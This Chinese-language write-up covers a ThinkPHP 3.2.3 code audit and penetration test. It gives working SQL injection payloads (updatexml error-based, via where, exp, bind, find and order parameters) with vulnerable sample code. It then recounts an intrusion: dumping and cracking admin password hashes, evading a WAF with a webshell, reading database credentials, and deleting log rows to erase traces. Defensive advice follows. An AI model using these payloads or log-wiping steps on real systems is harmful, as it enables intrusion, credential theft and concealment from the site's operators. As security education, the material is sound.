记一次渗透+审计实战
字数 1242 2025-08-20 18:17:59
ThinkPHP 3.2.3 渗透审计实战教学文档
前言
本文档基于ThinkPHP 3.2.3框架的渗透测试实战案例,详细分析该版本存在的多种安全漏洞及利用方式,包括SQL注入、RCE、XSS等漏洞的挖掘和利用过程。
ThinkPHP 3.2.3 历史漏洞分析
1. WHERE注入漏洞
漏洞描述:当使用字符串方式作为where传参时存在SQL注入漏洞。
利用方式:
and 1=updatexml(1,concat(0x7e,(user()),0x7e),1)--+
2. EXP注入漏洞
漏洞描述:使用全局数组进行传参时存在注入(注意不能使用I方法过滤)。
示例代码:
public function getuser(){
$User = D('User');
$map = array('id' => $_GET['id']);
$user = $User->where($map)->find();
dump($user);
}
利用方式:
id[0]=exp&id[1]==1 and 1=(updatexml(1,concat(0x7e,(user()),0x7e),1))--+
3. BIND注入漏洞
示例代码:
public function getuser(){
$data['id'] = I('id');
$uname['username'] = I('username');
$user = M('User')->where($data)->save($uname);
dump($user);
}
利用方式:
id[0]=bind&id[1]=0 and 1=(updatexml(1,concat(0x7e,(user()),0x7e),1))&username=fanxing
4. FIND/SELECT/DELETE注入漏洞
示例代码:
public function getuser(){
$user = M('User')->find(I('id'));
dump($user);
}
利用方式:
?id[where]=1 and 1=updatexml(1,concat(0x7e,(user()),0x7e),1)
5. ORDER BY注入漏洞
示例代码:
public function user(){
$data['username'] = array('eq','admin');
$user = M('User')->where($data)->order(I('order'))->find();
dump($user);
}
利用方式:
order=id and(updatexml(1,concat(0x7e,(select user())),0))
6. 缓存漏洞
示例代码:
public function test(){
S('name',I('test'));
}
实战挖掘过程
1. SQL注入漏洞挖掘
发现点:后台功能中存在直接使用用户输入构造SQL查询的情况。
利用条件:
- 需要开启debug模式
- 需要已登录后台
2. 后台RCE漏洞挖掘
发现点:
- 模板管理功能存在代码执行漏洞
- 附件管理功能存在上传漏洞
利用方式:
- 通过模板编辑功能插入恶意代码
- 通过附件上传功能上传webshell
3. 存储型XSS漏洞挖掘
发现点:
- 后台登录日志功能
- 后台操作日志的referer字段
限制:
- 目标站点开启了HTTP-Only,无法直接窃取cookie
4. SSRF漏洞挖掘
说明:在实际站点中利用价值有限,未深入展开。
实战渗透过程
1. 前台搜索框SQL注入
特点:目标站点自行实现了搜索功能,未使用框架原生方法,存在注入漏洞。
2. 获取后台管理员账户
步骤:
- 通过注入获取数据库中的管理员账户信息
- 分析密码加密方式:
md5($pass.md5($verify)) - 获取到的数据示例:
# admin,admin1 # 19369424b3f933c41324978106c411cc,9509b82e3ddf251f2ea825b49ab6d291 # lnwkNC,XW7YXl
破解密码:
- 使用cmd5查询已知哈希
- 成功获取admin1账户密码:admin123!
- 通过自定义字典爆破出其他管理员密码
3. 后台RCE利用
绕过WAF:
- 哥斯拉webshell被拦截
- 冰蝎webshell成功绕过WAF
目录穿越漏洞:
- 通过修改模板功能实现目录穿越
- 可修改根目录文件如/install.php
4. 权限提升与信息收集
PHP函数执行:
error_reporting(E_ALL);var_dump(1);
var_dump(scandir('.'));
readfile('web.config');
数据库信息获取:
'DB_TYPE' => 'mysql',
'DB_HOST' => '180.xxx',
'DB_NAME' => 'xxx',
'DB_USER' => 'xxx',
'DB_PWD' => 'xxx',
'DB_PORT' => '3306',
'DB_PREFIX' => 'wexxx',
系统信息:
- 站库分离架构
- Linux系统
- 当前账户权限较低
5. 痕迹清除
操作:
select * from XXX.operationlog limit 10
DELETE FROM XXX.rationlog WHERE id > 7000
DELETE FROM XXX._loginlog WHERE id > 3000
unlink('test.php');
防御建议
- 升级ThinkPHP至最新安全版本
- 对所有用户输入进行严格过滤
- 使用框架提供的I方法进行输入过滤
- 关闭debug模式
- 限制后台访问IP
- 加强密码策略,使用强密码
- 定期审计代码,特别是自定义功能模块
- 设置文件上传严格限制
- 实施最小权限原则
总结
本案例展示了从代码审计到实际渗透的完整过程,重点分析了ThinkPHP 3.2.3版本的多种安全漏洞及其利用方式。渗透测试人员应掌握这些漏洞原理,而开发人员则应引以为戒,加强应用安全防护。